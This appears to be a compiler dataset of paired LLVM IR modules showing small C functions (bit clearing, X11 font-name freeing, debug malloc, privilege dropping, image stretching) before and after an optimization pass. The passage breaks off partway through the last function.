@.str = private unnamed_addr constant [13 x i8] c"RETURNED %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 0, ptr %6, align 4
%7 = call i32 (...) @fun()
%8 = load i32, ptr %6, align 4
%9 = call i32 @printf(ptr noundef @.str, i32 noundef %8)
%10 = load i32, ptr %6, align 4
%11 = icmp ne i32 %10, 1
br i1 %11, label %12, label %13
12: ; preds = %2
store i32 1, ptr %3, align 4
br label %14
13: ; preds = %2
store i32 0, ptr %3, align 4
br label %14
14: ; preds = %13, %12
%15 = load i32, ptr %3, align 4
ret i32 %15
}
declare i32 @fun(...) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpka29msca.c'
source_filename = "/tmp/tmpka29msca.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @clearBit_fun_uint32_t(i32 noundef %0, i32 noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store i32 %0, ptr %3, align 4
store i32 %1, ptr %4, align 4
%5 = load i32, ptr %3, align 4
%6 = load i32, ptr %4, align 4
%7 = shl i32 1, %6
%8 = xor i32 %7, -1
%9 = and i32 %5, %8
ret i32 %9
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpka29msca.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @clearBit_fun_uint32_t(i32 noundef %0, i32 noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store i32 %0, ptr %3, align 4
store i32 %1, ptr %4, align 4
%5 = load i32, ptr %3, align 4
%6 = load i32, ptr %4, align 4
%7 = shl i32 1, %6
%8 = xor i32 %7, -1
%9 = and i32 %5, %8
ret i32 %9
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpbfd_8yvh.c'
source_filename = "/tmp/tmpbfd_8yvh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @XFreeFontNames(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = icmp ne ptr %4, null
br i1 %5, label %6, label %36
6: ; preds = %1
%7 = load ptr, ptr %2, align 8
%8 = getelementptr inbounds ptr, ptr %7, i64 0
%9 = load ptr, ptr %8, align 8
%10 = getelementptr inbounds i8, ptr %9, i64 -1
%11 = load i8, ptr %10, align 1
%12 = icmp ne i8 %11, 0
br i1 %12, label %28, label %13
13: ; preds = %6
%14 = load ptr, ptr %2, align 8
%15 = getelementptr inbounds ptr, ptr %14, i64 1
store ptr %15, ptr %3, align 8
br label %16
16: ; preds = %24, %13
%17 = load ptr, ptr %3, align 8
%18 = load ptr, ptr %17, align 8
%19 = icmp ne ptr %18, null
br i1 %19, label %20, label %27
20: ; preds = %16
%21 = load ptr, ptr %3, align 8
%22 = load ptr, ptr %21, align 8
%23 = call i32 @free(ptr noundef %22)
br label %24
24: ; preds = %20
%25 = load ptr, ptr %3, align 8
%26 = getelementptr inbounds ptr, ptr %25, i32 1
store ptr %26, ptr %3, align 8
br label %16, !llvm.loop !6
27: ; preds = %16
br label %28
28: ; preds = %27, %6
%29 = load ptr, ptr %2, align 8
%30 = getelementptr inbounds ptr, ptr %29, i64 0
%31 = load ptr, ptr %30, align 8
%32 = getelementptr inbounds i8, ptr %31, i64 -1
%33 = call i32 @free(ptr noundef %32)
%34 = load ptr, ptr %2, align 8
%35 = call i32 @free(ptr noundef %34)
br label %36
36: ; preds = %28, %1
ret i32 1
}
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpbfd_8yvh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @XFreeFontNames(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = icmp ne ptr %4, null
br i1 %5, label %6, label %38
6: ; preds = %1
%7 = load ptr, ptr %2, align 8
%8 = getelementptr inbounds ptr, ptr %7, i64 0
%9 = load ptr, ptr %8, align 8
%10 = getelementptr inbounds i8, ptr %9, i64 -1
%11 = load i8, ptr %10, align 1
%12 = icmp ne i8 %11, 0
br i1 %12, label %30, label %13
13: ; preds = %6
%14 = load ptr, ptr %2, align 8
%15 = getelementptr inbounds ptr, ptr %14, i64 1
store ptr %15, ptr %3, align 8
%16 = load ptr, ptr %3, align 8
%17 = load ptr, ptr %16, align 8
%18 = icmp ne ptr %17, null
br i1 %18, label %.lr.ph, label %29
.lr.ph: ; preds = %13
br label %19
19: ; preds = %.lr.ph, %23
%20 = load ptr, ptr %3, align 8
%21 = load ptr, ptr %20, align 8
%22 = call i32 @free(ptr noundef %21)
br label %23
23: ; preds = %19
%24 = load ptr, ptr %3, align 8
%25 = getelementptr inbounds ptr, ptr %24, i32 1
store ptr %25, ptr %3, align 8
%26 = load ptr, ptr %3, align 8
%27 = load ptr, ptr %26, align 8
%28 = icmp ne ptr %27, null
br i1 %28, label %19, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %23
br label %29
29: ; preds = %._crit_edge, %13
br label %30
30: ; preds = %29, %6
%31 = load ptr, ptr %2, align 8
%32 = getelementptr inbounds ptr, ptr %31, i64 0
%33 = load ptr, ptr %32, align 8
%34 = getelementptr inbounds i8, ptr %33, i64 -1
%35 = call i32 @free(ptr noundef %34)
%36 = load ptr, ptr %2, align 8
%37 = call i32 @free(ptr noundef %36)
br label %38
38: ; preds = %30, %1
ret i32 1
}
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpf3ieraqa.c'
source_filename = "/tmp/tmpf3ieraqa.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [38 x i8] c"malloc(%ld) returned 0x%p (%s:%s:%d)\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @debug_malloc(i64 noundef %0, ptr noundef %1, i32 noundef %2, ptr noundef %3) #0 {
%5 = alloca i64, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca ptr, align 8
%9 = alloca ptr, align 8
store i64 %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i32 %2, ptr %7, align 4
store ptr %3, ptr %8, align 8
%10 = load i64, ptr %5, align 8
%11 = call ptr @malloc(i64 noundef %10) #3
store ptr %11, ptr %9, align 8
%12 = load i32, ptr @stderr, align 4
%13 = load i64, ptr %5, align 8
%14 = load ptr, ptr %9, align 8
%15 = load ptr, ptr %6, align 8
%16 = load ptr, ptr %8, align 8
%17 = load i32, ptr %7, align 4
%18 = call i32 @fprintf(i32 noundef %12, ptr noundef @.str, i64 noundef %13, ptr noundef %14, ptr noundef %15, ptr noundef %16, i32 noundef %17)
%19 = load ptr, ptr %9, align 8
ret ptr %19
}
; Function Attrs: allocsize(0)
declare ptr @malloc(i64 noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, i64 noundef, ptr noundef, ptr noundef, ptr noundef, i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { allocsize(0) "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { allocsize(0) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpf3ieraqa.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [38 x i8] c"malloc(%ld) returned 0x%p (%s:%s:%d)\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @debug_malloc(i64 noundef %0, ptr noundef %1, i32 noundef %2, ptr noundef %3) #0 {
%5 = alloca i64, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca ptr, align 8
%9 = alloca ptr, align 8
store i64 %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i32 %2, ptr %7, align 4
store ptr %3, ptr %8, align 8
%10 = load i64, ptr %5, align 8
%11 = call ptr @malloc(i64 noundef %10) #3
store ptr %11, ptr %9, align 8
%12 = load i32, ptr @stderr, align 4
%13 = load i64, ptr %5, align 8
%14 = load ptr, ptr %9, align 8
%15 = load ptr, ptr %6, align 8
%16 = load ptr, ptr %8, align 8
%17 = load i32, ptr %7, align 4
%18 = call i32 @fprintf(i32 noundef %12, ptr noundef @.str, i64 noundef %13, ptr noundef %14, ptr noundef %15, ptr noundef %16, i32 noundef %17)
%19 = load ptr, ptr %9, align 8
ret ptr %19
}
; Function Attrs: allocsize(0)
declare ptr @malloc(i64 noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, i64 noundef, ptr noundef, ptr noundef, ptr noundef, i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { allocsize(0) "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { allocsize(0) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpqsv5zd2x.c'
source_filename = "/tmp/tmpqsv5zd2x.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @drop_privileges() #0 {
%1 = call i32 (...) @getuid()
%2 = call i32 @seteuid(i32 noundef %1)
ret void
}
declare i32 @seteuid(i32 noundef) #1
declare i32 @getuid(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpqsv5zd2x.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @drop_privileges() #0 {
%1 = call i32 (...) @getuid()
%2 = call i32 @seteuid(i32 noundef %1)
ret void
}
declare i32 @seteuid(i32 noundef) #1
declare i32 @getuid(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpx79kl1kw.c'
source_filename = "/tmp/tmpx79kl1kw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @IMAGE_STRETCH(ptr noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3, i32 noundef %4, ptr noundef %5, i32 noundef %6, i32 noundef %7, i32 noundef %8, i32 noundef %9, ptr noundef %10, ptr noundef %11) #0 {
%13 = alloca ptr, align 8
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca ptr, align 8
%19 = alloca i32, align 4
%20 = alloca i32, align 4
%21 = alloca i32, align 4
%22 = alloca i32, align 4
%23 = alloca ptr, align 8
%24 = alloca ptr, align 8
%25 = alloca ptr, align 8
%26 = alloca ptr, align 8
%27 = alloca i32, align 4
%28 = alloca i32, align 4
%29 = alloca i32, align 4
%30 = alloca i32, align 4
store ptr %0, ptr %13, align 8
store i32 %1, ptr %14, align 4
store i32 %2, ptr %15, align 4
store i32 %3, ptr %16, align 4
store i32 %4, ptr %17, align 4
store ptr %5, ptr %18, align 8
store i32 %6, ptr %19, align 4
store i32 %7, ptr %20, align 4
store i32 %8, ptr %21, align 4
store i32 %9, ptr %22, align 4
store ptr %10, ptr %23, align 8
store ptr %11, ptr %24, align 8
%31 = load ptr, ptr %13, align 8
store ptr %31, ptr %25, align 8
%32 = load ptr, ptr %18, align 8
store ptr %32, ptr %26, align 8
%33 = load i32, ptr %14, align 4
%34 = load i32, ptr %17, align 4
%35 = mul nsw i32 %33, %34
store i32 %35, ptr %27, align 4
%36 = load i32, ptr %15, align 4
store i32 %36, ptr %28, align 4
%37 = load i32, ptr %15, align 4
%38 = ashr i32 %37, 1
store i32 %38, ptr %29, align 4
%39 = load i32, ptr %20, align 4
store i32 %39, ptr %30, align 4
%40 = load i32, ptr %28, align 4
%41 = icmp ne i32 %40, 0
br i1 %41, label %42, label %86
42: ; preds = %12
br label %53
43: ; No predecessors!
br label %44
44: ; preds = %81, %43
%45 = load i32, ptr %30, align 4
%46 = load i32, ptr %29, align 4
%47 = sub nsw i32 %46, %45
store i32 %47, ptr %29, align 4
%48 = icmp slt i32 %47, 0
br i1 %48, label %49, label %67
49: ; preds = %44
%50 = load i32, ptr %15, align 4
%51 = load i32, ptr %29, align 4
%52 = add nsw i32 %51, %50
store i32 %52, ptr %29, align 4
br label %53
53: ; preds = %49, %42
%54 = load ptr, ptr %23, align 8
%55 = load ptr, ptr %25, align 8
%56 = load i32, ptr %14, align 4
%57 = load ptr, ptr %26, align 8
%58 = load i32, ptr %19, align 4
call void %54(ptr noundef %55, i32 noundef %56, ptr noundef %57, i32 noundef %58)
%59 = load i32, ptr %21, align 4
%60 = load ptr, ptr %26, align 8
%61 = sext i32 %59 to i64
%62 = getelementptr inbounds i8, ptr %60, i64 %61
store ptr %62, ptr %26, align 8
%63 = load i32, ptr %16, align 4
%64 = load ptr, ptr %25, align 8
%65 = sext i32 %63 to i64
%66 = getelementptr inbounds i8, ptr %64, i64 %65
store ptr %66, ptr %25, align 8
br label %80
67: ; preds = %44
%68 = load ptr, ptr %25, align 8
%69 = load ptr, ptr %25, align 8
%70 = load i32, ptr %16, align 4
%71 = sext i32 %70 to i64
%72 = sub i64 0, %71
%73 = getelementptr inbounds i8, ptr %69, i64 %72
%74 = load i32, ptr %27, align 4
%75 = call i32 @memcpy(ptr noundef %68, ptr noundef %73, i32 noundef %74)
%76 = load i32, ptr %16, align 4
%77 = load ptr, ptr %25, align 8
%78 = sext i32 %76 to i64
%79 = getelementptr inbounds i8, ptr %77, i64 %78
store ptr %79, ptr %25, align 8
br label %80
80: ; preds = %67, %53
br label %81
81: ; preds = %80
%82 = load i32, ptr %28, align 4
%83 = add nsw i32 %82, -1
store i32 %83, ptr %28, align 4
%84 = icmp ne i32 %83, 0
br i1 %84, label %44, label %85, !llvm.loop !6
85: ; preds = %81
br label %86
86: ; preds = %85, %12
ret void
}
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpx79kl1kw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @IMAGE_STRETCH(ptr noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3, i32 noundef %4, ptr noundef %5, i32 noundef %6, i32 noundef %7, i32 noundef %8, i32 noundef %9, ptr noundef %10, ptr noundef %11) #0 {
%13 = alloca ptr, align 8
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca ptr, align 8
%19 = alloca i32, align 4
%20 = alloca i32, align 4
%21 = alloca i32, align 4
%22 = alloca i32, align 4
%23 = alloca ptr, align 8
%24 = alloca ptr, align 8
%25 = alloca ptr, align 8
%26 = alloca ptr, align 8
%27 = alloca i32, align 4
%28 = alloca i32, align 4
%29 = alloca i32, align 4
%30 = alloca i32, align 4
store ptr %0, ptr %13, align 8
store i32 %1, ptr %14, align 4
store i32 %2, ptr %15, align 4
store i32 %3, ptr %16, align 4
store i32 %4, ptr %17, align 4
store ptr %5, ptr %18, align 8
store i32 %6, ptr %19, align 4
store i32 %7, ptr %20, align 4
store i32 %8, ptr %21, align 4
store i32 %9, ptr %22, align 4
store ptr %10, ptr %23, align 8
store ptr %11, ptr %24, align 8
%31 = load ptr, ptr %13, align 8
store ptr %31, ptr %25, align 8
%32 = load ptr, ptr %18, align 8
store ptr %32, ptr %26, align 8
%33 = load i32, ptr %14, align 4
%34 = load i32, ptr %17, align 4
%35 = mul nsw i32 %33, %34
store i32 %35, ptr %27, align 4
%36 = load i32, ptr %15, align 4
store i32 %36, ptr %28, align 4
%37 = load i32, ptr %15, align 4
%38 = ashr i32 %37, 1
store i32 %38, ptr %29, align 4
%39 = load i32, ptr %20, align 4
store i32 %39, ptr %30, align 4
%40 = load i32, ptr %28, align 4
%41 = icmp ne i32 %40, 0
br i1 %41, label %42, label %86
42: ; preds = %12
br label %53
43: ; No predecessors!
unreachable
44: ; preds = %81
%45 = load i32, ptr %30, align 4
%46 = load i32, ptr %29, align 4
%47 = sub nsw i32 %46, %45
store i32 %47, ptr %29, align 4
%48 = icmp slt i32 %47, 0
br i1 %48, label %49, label %67
49: ; preds = %44
%50 = load i32, ptr %15, align 4
%51 = load i32, ptr %29, align 4
%52 = add nsw i32 %51, %50
store i32 %52, ptr %29, align 4
br label %53
53: ; preds = %49, %42
%54 = load ptr, ptr %23, align 8
%55 = load ptr, ptr %25, align 8
%56 = load i32, ptr %14, align 4
%57 = load ptr, ptr %26, align 8
%58 = load i32, ptr %19, align 4
call void %54(ptr noundef %55, i32 noundef %56, ptr noundef %57, i32 noundef %58)
%59 = load i32, ptr %21, align 4
%60 = load ptr, ptr %26, align 8
%61 = sext i32 %59 to i64
%62 = getelementptr inbounds i8, ptr %60, i64 %61
store ptr %62, ptr %26, align 8
%63 = load i32, ptr %16, align 4
%64 = load ptr, ptr %25, align 8
%65 = sext i32 %63 to i64
%66 = getelementptr inbounds i8, ptr %64, i64 %65
store ptr %66, ptr %25, align 8
br label %80
67: ; preds = %44
%68 = load ptr, ptr %25, align 8
%69 = load ptr, ptr %25, align 8
%70 = load i32, ptr %16, align 4
%71 = sext i32 %70 to i64
%72 = sub i64 0, %71
%73 = getelementptr inbounds i8, ptr %69, i64 %72
%74 = load i32, ptr %27, align 4
%75 = call i32 @memcpy(ptr noundef %68, ptr noundef %73, i32 noundef %74)
%76 = load i32, ptr %16, align 4
%77 = load ptr, ptr %25, align 8
%78 = sext i32 %76 to i64
%79 = getelementptr inbounds i8, ptr %77, i64 %78
store ptr %79, ptr %25, align 8
br label %80
80: ; preds = %67, %53
br label %81
81: ; preds = %80
%82 = load i32, ptr %28, align 4
%83 = add nsw i32 %82, -1
store i32 %83, ptr %28, align 4
%84 = icmp ne i32 %83, 0
br i1 %84, label %44, label %85, !llvm.loop !6
85: ; preds = %81
br label %86
86: ; preds = %85, %12
ret void
}
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpjq9a8ut2.c'
source_filename = "/tmp/tmpjq9a8ut2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @state_buildlist(ptr noundef %0, ptr noundef %1, ptr noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
